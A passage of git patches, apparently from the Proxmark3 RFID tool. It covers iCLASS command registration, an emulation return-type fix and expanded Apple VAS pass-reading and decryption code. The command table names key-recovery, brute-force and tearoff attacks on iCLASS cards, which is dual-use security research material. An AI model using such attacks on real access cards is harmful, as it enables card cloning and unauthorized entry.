{"legrec", CmdHFiClassLegacyRecover, IfPm3Iclass, "Recovers 24 bits of the diversified key of a legacy card provided a valid nr-mac combination"}, {"legbrute", CmdHFiClassLegBrute, AlwaysAvailable, "Bruteforces 40 bits of a partial diversified key, provided 24 bits of the key and two valid nr-macs"}, {"unhash", CmdHFiClassUnhash, AlwaysAvailable, "Reverses a diversified key to retrieve hash0 pre-images after DES encryption"}, - {"blacktears", CmdHFiClass_BlackTears, IfPm3Iclass, "Performs tearoff attack on iCLASS for key recovery"}, + {"blacktears", CmdHFiClass_BlackTears, IfPm3Iclass, "Automated tearoff attack on new silicon cards to enable non-secure page mode"}, {"-----------", CmdHelp, IfPm3Iclass, "-------------------- " _CYAN_("Simulation") " -------------------"}, {"sim", CmdHFiClassSim, IfPm3Iclass, "Simulate iCLASS tag"}, {"eload", CmdHFiClassELoad, IfPm3Iclass, "Upload file into emulator memory"}, From d281724ca8aa9ace1d0b35c27be35f3015e7adb9 Mon Sep 17 00:00:00 2001 From: Erland Waldreus Date: Tue, 17 Mar 2026 14:42:20 +0100 Subject: [PATCH 104/162] Correct return value type int in EmGetCmd The return false would trigger unwanted behaviour as emulation completed with button pressed. --- armsrc/iso14443a.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 8b166205e..1bddbb130 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -2624,7 +2624,7 @@ int EmGetCmd(uint8_t *received, uint16_t received_max_len, uint16_t *len, uint8_ if (flip == 3) { if (data_available()) { Dbprintf("----------- " _GREEN_("Breaking / Data") " ----------"); - return false; + return 1; } flip = 0; } @@ -2633,7 +2633,7 @@ int EmGetCmd(uint8_t *received, uint16_t received_max_len, uint16_t *len, uint8_ if (checker-- == 0) { if (BUTTON_PRESS()) { Dbprintf("----------- " _GREEN_("Button pressed, user aborted") " ----------"); - return false; + return 1; } flip++; From f10d52a8a90829afe2cfee4b725209c688b26c6d Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Tue, 17 Mar 2026 22:20:55 +0800 Subject: [PATCH 105/162] Update cmdhficlass.c Updated logic to support debit key --- client/src/cmdhficlass.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 8dee17b8b..ea64c84ce 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -3683,8 +3683,12 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { int isok = PM3_SUCCESS; bool read_ok = false; uint8_t keyType = ICLASS_DEBIT_KEYTYPE; - PrintAndLogEx(SUCCESS, "Using " _YELLOW_("credit") " key"); - keyType = ICLASS_CREDIT_KEYTYPE; + if(use_credit_key == true){ + PrintAndLogEx(SUCCESS, "Using " _YELLOW_("credit") " key"); + keyType = ICLASS_CREDIT_KEYTYPE; + }else{ + PrintAndLogEx(SUCCESS, "Using " _YELLOW_("debit") " key"); + } if (tearoff_loop > 1) { PrintAndLogEx(SUCCESS, _YELLOW_("%u") " attempts / tearoff", tearoff_loop); From ff052e8ee2ed3382b2a90f9516e6b881ac090078 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Tue, 17 Mar 2026 18:22:55 +0200 Subject: [PATCH 106/162] Add support for reading multiple pass type identifiers in VAS --- client/src/cmdhfvas.c | 677 ++++++++++++++++++++++++++++++++---------- 1 file changed, 514 insertions(+), 163 deletions(-) diff --git a/client/src/cmdhfvas.c b/client/src/cmdhfvas.c index dab9a5ba6..cc78f929f 100644 --- a/client/src/cmdhfvas.c +++ b/client/src/cmdhfvas.c @@ -28,8 +28,10 @@ #include "util.h" #include "util_posix.h" #include "iso7816/iso7816core.h" +#include "crc16.h" #include #include +#include #include "mifare.h" #include #include @@ -43,6 +45,10 @@ #include "mbedtls/entropy.h" #define VAS_MAX_KEY_INPUT 8192 +#define VAS_MAX_PID_ITEMS 8 +#define VAS_MAX_KEY_ITEMS 16 +#define VAS_MAX_MOBILE_TOKEN_LEN 32 +#define VAS_MAX_CRYPTOGRAM_LEN 256 static const iso14a_polling_frame_t WUPA_FRAME = { .frame = { 0x52 }, @@ -58,9 +64,58 @@ static const iso14a_polling_frame_t ECP_VAS_ONLY_FRAME = { .extra_delay = 0, }; -uint8_t aid[] = { 0x4f, 0x53, 0x45, 0x2e, 0x56, 0x41, 0x53, 0x2e, 0x30, 0x31 }; -uint8_t getVasUrlOnlyP2 = 0x00; -uint8_t getVasFullReqP2 = 0x01; + +enum { + VAS_MODE_VAS_OR_PAY = 0x00, + VAS_MODE_VAS_AND_PAY = 0x01, + VAS_MODE_VAS_ONLY = 0x02, +}; + +static int vas_parse_mode(const char *mode_text, uint8_t *mode_out) { + if (mode_out == NULL) { + return PM3_EINVARG; + } + + if (mode_text == NULL || *mode_text == '\0' || strcmp(mode_text, "vasonly") == 0 || strcmp(mode_text, "vas") == 0) { + *mode_out = VAS_MODE_VAS_ONLY; + return PM3_SUCCESS; + } + if (strcmp(mode_text, "vasandpay") == 0) { + *mode_out = VAS_MODE_VAS_AND_PAY; + return PM3_SUCCESS; + } + if (strcmp(mode_text, "vasorpay") == 0) { + *mode_out = VAS_MODE_VAS_OR_PAY; + return PM3_SUCCESS; + } + + PrintAndLogEx(FAILED, "Invalid mode '%s' (expected: vasorpay, vasandpay, vasonly)", mode_text); + return PM3_EINVARG; +} + +static void vas_build_ecp_frame(uint8_t vas_mode, iso14a_polling_frame_t *frame_out) { + if (frame_out == NULL) { + return; + } + + memset(frame_out, 0, sizeof(*frame_out)); + frame_out->frame[0] = 0x6a; + frame_out->frame[1] = 0x01; + frame_out->frame[2] = 0x00; + frame_out->frame[3] = 0x00; + frame_out->frame[4] = vas_mode; + compute_crc(CRC_14443_A, frame_out->frame, 5, &frame_out->frame[5], &frame_out->frame[6]); + frame_out->frame_length = 7; + frame_out->last_byte_bits = 8; + frame_out->extra_delay = 0; +} + +static const uint8_t aid[] = { 0x4f, 0x53, 0x45, 0x2e, 0x56, 0x41, 0x53, 0x2e, 0x30, 0x31 }; +static const uint8_t getVasUrlOnlyP2 = 0x00; +static const uint8_t getVasFullReqP2 = 0x01; +static const uint8_t kVasEncryptedDataLabel[27] = "ApplePay encrypted VAS data"; +static const uint8_t kVasAesGcmLabel[13] = "id-aes256-GCM"; + static bool VASWalletTypeIsApplePay(const uint8_t *walletType, size_t walletTypeLen) { static const uint8_t applePayWalletType[] = "ApplePay"; @@ -69,6 +124,8 @@ static bool VASWalletTypeIsApplePay(const uint8_t *walletType, size_t walletType && memcmp(walletType, applePayWalletType, sizeof(applePayWalletType) - 1) == 0; } +static const uint16_t VAS_STATUS_NOT_AVAILABLE = 0xFFFF; + static void PrintVASFeatureBit(const char *bits, uint8_t mask, uint8_t bit, const char *enabled, const char *disabled) { const bool is_enabled = (mask & (1U << bit)) != 0; const int pad = 7 - bit; @@ -76,28 +133,13 @@ static void PrintVASFeatureBit(const char *bits, uint8_t mask, uint8_t bit, cons sprint_breakdown_bin(is_enabled ? C_GREEN : C_NONE, bits, 8, pad, 1, is_enabled ? enabled : disabled)); } -static void PrintVASCapabilitiesMeaning(const struct tlv *capabilities) { - if (capabilities == NULL) { - return; +static void PrintVASCapabilitiesValue(const char *label, uint8_t mask) { + if (label == NULL || *label == '\0') { + label = "Capabilities"; } - if (capabilities->len != 4) { - PrintAndLogEx(WARNING, "Capabilities: expected 4 bytes, got %zu", capabilities->len); - return; - } - - const uint8_t leading0 = capabilities->value[0]; - const uint8_t leading1 = capabilities->value[1]; - const uint8_t leading2 = capabilities->value[2]; - const uint8_t mask = capabilities->value[3]; const char *bits = sprint_bin(&mask, 1); - - if (leading0 != 0x00 || leading1 != 0x00 || leading2 != 0x00) { - PrintAndLogEx(WARNING, " Mobile caps.... leading bytes non-zero (%02X %02X %02X); only last byte is interpreted", - leading0, leading1, leading2); - } - - PrintAndLogEx(INFO, " Capabilities.. " _YELLOW_("%s") " (" _YELLOW_("0x%02X") ")", bits, mask); + PrintAndLogEx(INFO, "%s " _YELLOW_("%s") " (" _YELLOW_("0x%02X") ")", label, bits, mask); PrintVASFeatureBit(bits, mask, 7, "Reserved/unknown bit set", "Reserved/unknown bit clear"); PrintVASFeatureBit(bits, mask, 6, "Reserved/unknown bit set", "Reserved/unknown bit clear"); PrintVASFeatureBit(bits, mask, 5, "Payment may be performed", "Payment may not be performed"); @@ -108,7 +150,76 @@ static void PrintVASCapabilitiesMeaning(const struct tlv *capabilities) { PrintVASFeatureBit(bits, mask, 0, "Plaintext VAS data supported", "Plaintext VAS data not supported"); } -static int ParseSelectVASResponse(const uint8_t *response, size_t resLen, bool verbose) { +static const char *vas_status_name(uint16_t sw) { + static char unknown_status_name[20] = {0}; + + switch (sw) { + case VAS_STATUS_NOT_AVAILABLE: + return "N/A"; + case 0x9000: + return "OK"; + case 0x6100: + return "WARNING_NO_DATA_RETURNED"; + case 0x6287: + return "DATA_NOT_ACTIVATED"; + case 0x6982: + return "SECURITY_STATUS_NOT_SATISFIED"; + case 0x6984: + return "USER_INTERVENTION_REQUIRED"; + case 0x6A81: + return "FUNCTION_NOT_SUPPORTED"; + case 0x6A82: + return "FILE_NOT_FOUND"; + case 0x6700: + return "WRONG_LC_FIELD"; + case 0x6A80: + return "INCORRECT_DATA"; + case 0x6A83: + return "DATA_NOT_FOUND"; + case 0x6B00: + return "WRONG_PARAMETERS"; + } + snprintf(unknown_status_name, sizeof(unknown_status_name), "UNKNOWN (0x%04X)", sw); + return unknown_status_name; +} + +static bool vas_status_is_success(uint16_t sw) { + const uint8_t sw1 = (uint8_t)(sw >> 8); + return (sw1 == 0x90) || (sw1 == 0x91); +} + +static void PrintVASStatusLine(const char *label, uint16_t sw) { + PrintAndLogEx(INFO, "%s " _YELLOW_("%04X") " (%s)", label, sw, vas_status_name(sw)); +} + +static const char *vas_status_meaning(uint16_t sw) { + switch (sw) { + case VAS_STATUS_NOT_AVAILABLE: + return "No ISO14443-A card in field"; + case 0x6287: + return "Data not activated (device locked or authentication required)"; + case 0x6984: + return "User intervention/selection required"; + case 0x6A83: + return "Data not found for this pass identifier"; + case 0x9000: + return "Success"; + default: + return "Request failed"; + } +} + +static void PrintVASFailureReason(uint16_t select_status, uint16_t get_data_status) { + if (select_status == VAS_STATUS_NOT_AVAILABLE && get_data_status == VAS_STATUS_NOT_AVAILABLE) { + PrintAndLogEx(WARNING, "%s: %s", vas_status_name(VAS_STATUS_NOT_AVAILABLE), vas_status_meaning(VAS_STATUS_NOT_AVAILABLE)); + } else if (select_status != 0x9000) { + PrintAndLogEx(FAILED, "%s: OSE/VAS applet not selected", vas_status_name(select_status)); + } else if (get_data_status != VAS_STATUS_NOT_AVAILABLE) { + PrintAndLogEx(FAILED, "%s: %s", vas_status_name(get_data_status), vas_status_meaning(get_data_status)); + } +} + +static int ParseSelectVASResponse(const uint8_t *response, size_t resLen, uint8_t *capabilitiesOut) { struct tlvdb *tlvRoot = tlvdb_parse_multi(response, resLen); const struct tlvdb *versionTlv = tlvdb_find_full(tlvRoot, 0x9F21); @@ -121,9 +232,6 @@ static int ParseSelectVASResponse(const uint8_t *response, size_t resLen, bool v tlvdb_free(tlvRoot); return PM3_ECARDEXCHANGE; } - if (verbose) { - PrintAndLogEx(INFO, "Mobile VAS application version: %d.%d", version->value[0], version->value[1]); - } if (version->value[0] != 0x01 || version->value[1] != 0x00) { tlvdb_free(tlvRoot); return PM3_ECARDEXCHANGE; @@ -143,47 +251,24 @@ static int ParseSelectVASResponse(const uint8_t *response, size_t resLen, bool v tlvdb_free(tlvRoot); return PM3_ECARDEXCHANGE; } + if (capabilitiesOut != NULL) { + *capabilitiesOut = capabilities->value[3]; + } tlvdb_free(tlvRoot); return PM3_SUCCESS; } -static int info_vas(void) { - clearCommandBuffer(); - - iso14a_polling_parameters_t polling_parameters = { - .frames = { WUPA_FRAME, ECP_VAS_ONLY_FRAME }, - .frame_count = 2, - .extra_timeout = 250 - }; - - if (SelectCard14443A_4_WithParameters(false, false, NULL, &polling_parameters) != PM3_SUCCESS) { - PrintAndLogEx(WARNING, "No ISO14443-A Card in field"); - return PM3_ECARDEXCHANGE; - } - - uint16_t status = 0; - size_t responseLen = 0; - uint8_t selectResponse[APDU_RES_LEN] = {0}; - Iso7816Select(CC_CONTACTLESS, false, true, aid, sizeof(aid), selectResponse, APDU_RES_LEN, &responseLen, &status); - DropField(); - - if (status != 0x9000) { - PrintAndLogEx(FAILED, "Card doesn't support VAS"); - return PM3_ECARDEXCHANGE; - } - - struct tlvdb *tlvRoot = tlvdb_parse_multi(selectResponse, responseLen); +static int PrintVASSelectInfo(const uint8_t *response, size_t responseLen) { + struct tlvdb *tlvRoot = tlvdb_parse_multi(response, responseLen); if (tlvRoot == NULL) { - PrintAndLogEx(FAILED, "Unable to parse VAS select response"); return PM3_ECARDEXCHANGE; } - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "--- " _CYAN_("VAS Applet Information") " ------------------------"); - - const struct tlvdb *walletTypeTlv = tlvdb_find_full(tlvRoot, 0x50); + PrintAndLogEx(INFO, ""); + PrintAndLogInfoHeader("OSE Information"); bool skip_vas_details = false; + const struct tlvdb *walletTypeTlv = tlvdb_find_full(tlvRoot, 0x50); if (walletTypeTlv == NULL) { PrintAndLogEx(WARNING, "Wallet type.......... " _YELLOW_("not present")); } else { @@ -224,17 +309,19 @@ static int info_vas(void) { PrintAndLogEx(WARNING, "Mobile capabilities.. " _YELLOW_("not present")); } else { const struct tlv *capabilities = tlvdb_get_tlv(capabilitiesTlv); - PrintAndLogEx(INFO, "Mobile capabilities.. " _YELLOW_("%s"), sprint_hex_inrow(capabilities->value, capabilities->len)); - PrintVASCapabilitiesMeaning(capabilities); + if (capabilities->len != 4) { + PrintAndLogEx(WARNING, "Mobile capabilities.. " _YELLOW_("invalid length (%zu)"), capabilities->len); + } else { + PrintVASCapabilitiesValue("Mobile capabilities..", capabilities->value[3]); + } } } tlvdb_free(tlvRoot); - PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; } -static int CreateGetVASDataCommand(const uint8_t *pidHash, const char *url, size_t urlLen, uint8_t *out, int *outLen) { +static int CreateGetVASDataCommand(const uint8_t *pidHash, const char *url, size_t urlLen, uint8_t vas_mode, bool isFinalRequest, uint8_t *out, int *outLen) { if (pidHash == NULL && url == NULL) { PrintAndLogEx(FAILED, "Must provide a Pass Type ID or a URL"); return PM3_EINVARG; @@ -245,7 +332,7 @@ static int CreateGetVASDataCommand(const uint8_t *pidHash, const char *url, size return PM3_EINVARG; } - uint8_t p2 = pidHash == NULL ? getVasUrlOnlyP2 : getVasFullReqP2; + const uint8_t p2 = pidHash == NULL ? getVasUrlOnlyP2 : getVasFullReqP2; size_t reqTlvLen = 19 + (pidHash != NULL ? 35 : 0) + (url != NULL ? 3 + urlLen : 0); uint8_t *reqTlv = calloc(reqTlvLen, sizeof(uint8_t)); @@ -257,14 +344,18 @@ static int CreateGetVASDataCommand(const uint8_t *pidHash, const char *url, size uint8_t version[] = {0x9F, 0x22, 0x02, 0x01, 0x00}; memcpy(reqTlv, version, sizeof(version)); - uint8_t unknown[] = {0x9F, 0x28, 0x04, 0x00, 0x00, 0x00, 0x00}; - memcpy(reqTlv + sizeof(version), unknown, sizeof(unknown)); + uint8_t terminalNonce[] = {0x9F, 0x28, 0x04, 0x00, 0x00, 0x00, 0x00}; + for (size_t i = 0; i < 4; i++) { + terminalNonce[3 + i] = (uint8_t)(rand() & 0xFF); + } + memcpy(reqTlv + sizeof(version), terminalNonce, sizeof(terminalNonce)); - uint8_t terminalCapabilities[] = {0x9F, 0x26, 0x04, 0x00, 0x00, 0x00, 0x02}; - memcpy(reqTlv + sizeof(version) + sizeof(unknown), terminalCapabilities, sizeof(terminalCapabilities)); + uint8_t capabilitiesMask = (isFinalRequest ? 0x00 : 0x80) | (vas_mode & 0x03); + uint8_t terminalCapabilities[] = {0x9F, 0x26, 0x04, 0x00, 0x80, 0x00, capabilitiesMask}; + memcpy(reqTlv + sizeof(version) + sizeof(terminalNonce), terminalCapabilities, sizeof(terminalCapabilities)); if (pidHash != NULL) { - size_t offset = sizeof(version) + sizeof(unknown) + sizeof(terminalCapabilities); + size_t offset = sizeof(version) + sizeof(terminalNonce) + sizeof(terminalCapabilities); reqTlv[offset] = 0x9F; reqTlv[offset + 1] = 0x25; reqTlv[offset + 2] = 32; @@ -272,7 +363,7 @@ static int CreateGetVASDataCommand(const uint8_t *pidHash, const char *url, size } if (url != NULL) { - size_t offset = sizeof(version) + sizeof(unknown) + sizeof(terminalCapabilities) + (pidHash != NULL ? 35 : 0); + size_t offset = sizeof(version) + sizeof(terminalNonce) + sizeof(terminalCapabilities) + (pidHash != NULL ? 35 : 0); reqTlv[offset] = 0x9F; reqTlv[offset + 1] = 0x29; reqTlv[offset + 2] = urlLen; @@ -293,23 +384,56 @@ static int CreateGetVASDataCommand(const uint8_t *pidHash, const char *url, size return PM3_SUCCESS; } -static int ParseGetVASDataResponse(const uint8_t *res, size_t resLen, uint8_t *cryptogram, size_t *cryptogramLen) { +static int ParseGetVASDataResponse(const uint8_t *res, size_t resLen, + bool requireCryptogram, + uint8_t *mobileToken, size_t *mobileTokenLen, + uint8_t *cryptogram, size_t *cryptogramLen) { struct tlvdb *tlvRoot = tlvdb_parse_multi(res, resLen); if (tlvRoot == NULL) { return PM3_ECARDEXCHANGE; } + bool has_payload = false; + + if (mobileTokenLen != NULL) { + *mobileTokenLen = 0; + } + const struct tlvdb *mobileTokenTlvdb = tlvdb_find_full(tlvRoot, 0x9F2A); + if (mobileTokenTlvdb != NULL && mobileToken != NULL && mobileTokenLen != NULL) { + const struct tlv *mobileTokenTlv = tlvdb_get_tlv(mobileTokenTlvdb); + if (mobileTokenTlv->len > VAS_MAX_MOBILE_TOKEN_LEN) { + tlvdb_free(tlvRoot); + return PM3_ECARDEXCHANGE; + } + memcpy(mobileToken, mobileTokenTlv->value, mobileTokenTlv->len); + *mobileTokenLen = mobileTokenTlv->len; + has_payload = true; + } + const struct tlvdb *cryptogramTlvdb = tlvdb_find_full(tlvRoot, 0x9F27); if (cryptogramTlvdb == NULL) { tlvdb_free(tlvRoot); - return PM3_ECARDEXCHANGE; + if (requireCryptogram || !has_payload) { + return PM3_ECARDEXCHANGE; + } + return PM3_SUCCESS; } - const struct tlv *cryptogramTlv = tlvdb_get_tlv(cryptogramTlvdb); - memcpy(cryptogram, cryptogramTlv->value, cryptogramTlv->len); - *cryptogramLen = cryptogramTlv->len; + if (cryptogram != NULL && cryptogramLen != NULL) { + const struct tlv *cryptogramTlv = tlvdb_get_tlv(cryptogramTlvdb); + if (cryptogramTlv->len > VAS_MAX_CRYPTOGRAM_LEN) { + tlvdb_free(tlvRoot); + return PM3_ECARDEXCHANGE; + } + memcpy(cryptogram, cryptogramTlv->value, cryptogramTlv->len); + *cryptogramLen = cryptogramTlv->len; + has_payload = true; + } tlvdb_free(tlvRoot); + if (!has_payload) { + return PM3_ECARDEXCHANGE; + } return PM3_SUCCESS; } @@ -362,7 +486,7 @@ static int LoadReaderPrivateKey(const char *input_or_path, mbedtls_ecp_keypair * return PM3_SUCCESS; } -static int GetPrivateKeyHint(mbedtls_ecp_keypair *privKey, uint8_t *keyHint) { +static int GetPrivateKeyId(mbedtls_ecp_keypair *privKey, uint8_t *keyId) { uint8_t xcoord[32] = {0}; if (mbedtls_mpi_write_binary(&privKey->Q.X, xcoord, sizeof(xcoord))) { return PM3_EINVARG; @@ -371,7 +495,7 @@ static int GetPrivateKeyHint(mbedtls_ecp_keypair *privKey, uint8_t *keyHint) { uint8_t hash[32] = {0}; sha256hash(xcoord, 32, hash); - memcpy(keyHint, hash, 4); + memcpy(keyId, hash, 4); return PM3_SUCCESS; } @@ -394,10 +518,10 @@ static int LoadMobileEphemeralKey(const uint8_t *xcoordBuf, mbedtls_ecp_keypair } static int internalVasDecrypt(uint8_t *cipherText, size_t cipherTextLen, uint8_t *sharedSecret, - uint8_t *ansiSharedInfo, size_t ansiSharedInfoLen, + const uint8_t *ansiSharedInfo, size_t ansiSharedInfoLen, const uint8_t *gcmAad, size_t gcmAadLen, uint8_t *out, size_t *outLen) { uint8_t key[32] = {0}; - if (ansi_x963_sha256(sharedSecret, 32, ansiSharedInfo, ansiSharedInfoLen, sizeof(key), key)) { + if (ansi_x963_sha256(sharedSecret, 32, (uint8_t *)ansiSharedInfo, ansiSharedInfoLen, sizeof(key), key)) { PrintAndLogEx(FAILED, "ANSI X9.63 key derivation failed"); return PM3_EINVARG; } @@ -424,14 +548,16 @@ static int internalVasDecrypt(uint8_t *cipherText, size_t cipherTextLen, uint8_t } static int DecryptVASCryptogram(uint8_t *pidHash, uint8_t *cryptogram, size_t cryptogramLen, mbedtls_ecp_keypair *privKey, uint8_t *out, size_t *outLen, uint32_t *timestamp) { - uint8_t keyHint[4] = {0}; - if (GetPrivateKeyHint(privKey, keyHint) != PM3_SUCCESS) { - PrintAndLogEx(FAILED, "Unable to generate key hint"); + uint8_t keyId[4] = {0}; + if (GetPrivateKeyId(privKey, keyId) != PM3_SUCCESS) { + PrintAndLogEx(FAILED, "Unable to generate key id"); return PM3_EINVARG; } - if (memcmp(keyHint, cryptogram, 4) != 0) { + if (memcmp(keyId, cryptogram, 4) != 0) { PrintAndLogEx(FAILED, "Private key does not match cryptogram"); + PrintAndLogEx(INFO, "Key identifier........... " _YELLOW_("%s"), sprint_hex_inrow(keyId, sizeof(keyId))); + PrintAndLogEx(INFO, "Cryptogram data........ " _YELLOW_("%s"), sprint_hex_inrow(cryptogram, cryptogramLen)); return PM3_EINVARG; } @@ -468,19 +594,16 @@ static int DecryptVASCryptogram(uint8_t *pidHash, uint8_t *cryptogram, size_t cr } mbedtls_mpi_free(&sharedSecret); - uint8_t string1[27] = "ApplePay encrypted VAS data"; - uint8_t string2[13] = "id-aes256-GCM"; - - uint8_t method1SharedInfo[73] = {0}; - method1SharedInfo[0] = 13; - memcpy(method1SharedInfo + 1, string2, sizeof(string2)); - memcpy(method1SharedInfo + 1 + sizeof(string2), string1, sizeof(string1)); - memcpy(method1SharedInfo + 1 + sizeof(string2) + sizeof(string1), pidHash, 32); + uint8_t method1SharedInfo[1 + sizeof(kVasAesGcmLabel) + sizeof(kVasEncryptedDataLabel) + 32] = {0}; + method1SharedInfo[0] = sizeof(kVasAesGcmLabel); + memcpy(method1SharedInfo + 1, kVasAesGcmLabel, sizeof(kVasAesGcmLabel)); + memcpy(method1SharedInfo + 1 + sizeof(kVasAesGcmLabel), kVasEncryptedDataLabel, sizeof(kVasEncryptedDataLabel)); + memcpy(method1SharedInfo + 1 + sizeof(kVasAesGcmLabel) + sizeof(kVasEncryptedDataLabel), pidHash, 32); uint8_t decryptedData[68] = {0}; size_t decryptedDataLen = 0; if (internalVasDecrypt(cryptogram + 4 + 32, cryptogramLen - 4 - 32, sharedSecretBytes, method1SharedInfo, sizeof(method1SharedInfo), NULL, 0, decryptedData, &decryptedDataLen)) { - if (internalVasDecrypt(cryptogram + 4 + 32, cryptogramLen - 4 - 32, sharedSecretBytes, string1, sizeof(string1), pidHash, 32, decryptedData, &decryptedDataLen)) { + if (internalVasDecrypt(cryptogram + 4 + 32, cryptogramLen - 4 - 32, sharedSecretBytes, kVasEncryptedDataLabel, sizeof(kVasEncryptedDataLabel), pidHash, 32, decryptedData, &decryptedDataLen)) { return PM3_EINVARG; } } @@ -496,63 +619,214 @@ static int DecryptVASCryptogram(uint8_t *pidHash, uint8_t *cryptogram, size_t cr return PM3_SUCCESS; } -static int VASReader(uint8_t *pidHash, const char *url, size_t urlLen, uint8_t *cryptogram, size_t *cryptogramLen, bool verbose) { - clearCommandBuffer(); +typedef struct { + mbedtls_ecp_keypair key; + uint8_t key_id[4]; + const char *source; +} vas_reader_key_t; - iso14a_polling_parameters_t polling_parameters = { - .frames = { WUPA_FRAME, ECP_VAS_ONLY_FRAME }, - .frame_count = 2, - .extra_timeout = 250 - }; +static void VasReaderCleanup(vas_reader_key_t *keys, int keys_initialized, + char **key_values, int key_count, + char **pid_values, int pid_count) { + for (int i = 0; keys != NULL && i < keys_initialized; i++) { + mbedtls_ecp_keypair_free(&keys[i].key); + } + for (int i = 0; i < key_count; i++) { + free(key_values[i]); + } + for (int i = 0; i < pid_count; i++) { + free(pid_values[i]); + } +} - if (SelectCard14443A_4_WithParameters(false, false, NULL, &polling_parameters) != PM3_SUCCESS) { - PrintAndLogEx(WARNING, "No ISO14443-A Card in field"); - return PM3_ECARDEXCHANGE; +static void PrintVasCryptogramInfo(const char *label, const uint8_t *cryptogram, size_t clen) { + if (clen == 0) { + return; + } + PrintAndLogEx(INFO, "%s", label); + if (clen >= 4) { + PrintAndLogEx(INFO, " Key id...... " _YELLOW_("%s"), sprint_hex_inrow(cryptogram, 4)); + } + PrintAndLogEx(INFO, " Ciphertext.. " _YELLOW_("%s"), sprint_hex_inrow(cryptogram, clen)); +} + + +static int VASSelectOse(uint16_t *select_status_out) { + if (select_status_out != NULL) { + *select_status_out = VAS_STATUS_NOT_AVAILABLE; } uint16_t status = 0; size_t resLen = 0; uint8_t selectResponse[APDU_RES_LEN] = {0}; - Iso7816Select(CC_CONTACTLESS, false, true, aid, sizeof(aid), selectResponse, APDU_RES_LEN, &resLen, &status); + Iso7816Select(CC_CONTACTLESS, false, true, (uint8_t *)aid, sizeof(aid), selectResponse, APDU_RES_LEN, &resLen, &status); + + if (select_status_out != NULL) { + *select_status_out = status; + } if (status != 0x9000) { - PrintAndLogEx(FAILED, "Card doesn't support VAS"); return PM3_ECARDEXCHANGE; } - if (ParseSelectVASResponse(selectResponse, resLen, verbose) != PM3_SUCCESS) { - PrintAndLogEx(FAILED, "Card doesn't support VAS"); + PrintVASSelectInfo(selectResponse, resLen); + if (ParseSelectVASResponse(selectResponse, resLen, NULL) != PM3_SUCCESS) { return PM3_ECARDEXCHANGE; } + return PM3_SUCCESS; +} + +static int VASGetData(const char *passIdentifier, const uint8_t *pidHash, bool hasPid, + const char *url, size_t urlLen, uint8_t vas_mode, bool isFinalRequest, + bool verbose, uint8_t *cryptogram, size_t *cryptogramLen, + uint16_t *get_data_status_out) { + if (get_data_status_out != NULL) { + *get_data_status_out = VAS_STATUS_NOT_AVAILABLE; + } + if (cryptogramLen != NULL) { + *cryptogramLen = 0; + } + + char pass_header[64] = {0}; + const char *displayedPassIdentifier = passIdentifier != NULL ? passIdentifier : "unknown-pass-identifier"; + snprintf(pass_header, sizeof(pass_header), "VAS Get Data %s", displayedPassIdentifier); + PrintAndLogInfoHeader(pass_header); + PrintAndLogEx(INFO, "Pass type id hash...... " _YELLOW_("%s"), hasPid ? sprint_hex_inrow(pidHash, 32) : "n/a"); + uint8_t getVasApdu[PM3_CMD_DATA_SIZE]; int getVasApduLen = 0; - - int s = CreateGetVASDataCommand(pidHash, url, urlLen, getVasApdu, &getVasApduLen); + int s = CreateGetVASDataCommand(pidHash, url, urlLen, vas_mode, isFinalRequest, getVasApdu, &getVasApduLen); if (s != PM3_SUCCESS) { return s; } uint8_t apduRes[APDU_RES_LEN] = {0}; - int apduResLen = 0; - - s = ExchangeAPDU14a(getVasApdu, getVasApduLen, false, false, apduRes, APDU_RES_LEN, &apduResLen); + size_t apduResLen = 0; + uint16_t getDataStatus = 0; + sAPDU_t getVasCmd = { + .CLA = getVasApdu[0], + .INS = getVasApdu[1], + .P1 = getVasApdu[2], + .P2 = getVasApdu[3], + .Lc = getVasApdu[4], + .data = getVasApdu + 5, + }; + s = Iso7816ExchangeEx(CC_CONTACTLESS, false, true, getVasCmd, false, 0x00, apduRes, APDU_RES_LEN, &apduResLen, &getDataStatus); if (s != PM3_SUCCESS) { - PrintAndLogEx(FAILED, "Failed to send APDU"); return s; } - if (apduResLen == 2 && apduRes[0] == 0x62 && apduRes[1] == 0x87) { - PrintAndLogEx(WARNING, "Device returned error on GET VAS DATA. Either doesn't have pass with matching id, or requires user authentication."); - return PM3_ECARDEXCHANGE; + if (get_data_status_out != NULL) { + *get_data_status_out = getDataStatus; + } + + if (!vas_status_is_success(getDataStatus)) { + PrintVASStatusLine("GET VAS DATA status....", getDataStatus); + return PM3_SUCCESS; } if (apduResLen == 0 || apduRes[0] != 0x70) { - PrintAndLogEx(FAILED, "Invalid response from peer"); return PM3_ECARDEXCHANGE; } - return ParseGetVASDataResponse(apduRes, apduResLen, cryptogram, cryptogramLen); + uint8_t mobileToken[VAS_MAX_MOBILE_TOKEN_LEN] = {0}; + size_t mobileTokenLen = 0; + s = ParseGetVASDataResponse(apduRes, apduResLen, hasPid, mobileToken, &mobileTokenLen, cryptogram, cryptogramLen); + if (s != PM3_SUCCESS) { + return s; + } + + if (mobileTokenLen > 0) { + PrintAndLogEx(INFO, "Device token (9F2A)... " _YELLOW_("%s"), sprint_hex_inrow(mobileToken, mobileTokenLen)); + } + + PrintVASStatusLine("GET VAS DATA status....", getDataStatus); + + if (verbose && cryptogramLen != NULL && *cryptogramLen > 0) { + PrintAndLogEx(INFO, "Cryptogram data........ " _YELLOW_("%s"), sprint_hex_inrow(cryptogram, *cryptogramLen)); + } + return PM3_SUCCESS; +} + +static int VASRead(bool has_pid, size_t request_count, + char *const *pid_values, const char *url, int urllen, + uint8_t vas_mode, bool verbose, + vas_reader_key_t *keys, int key_count) { + uint16_t select_status = VAS_STATUS_NOT_AVAILABLE; + if (VASSelectOse(&select_status) != PM3_SUCCESS) { + PrintVASFailureReason(select_status, VAS_STATUS_NOT_AVAILABLE); + return PM3_ECARDEXCHANGE; + } + + for (size_t request_idx = 0; request_idx < request_count; request_idx++) { + uint8_t pidhash[32] = {0}; + const char 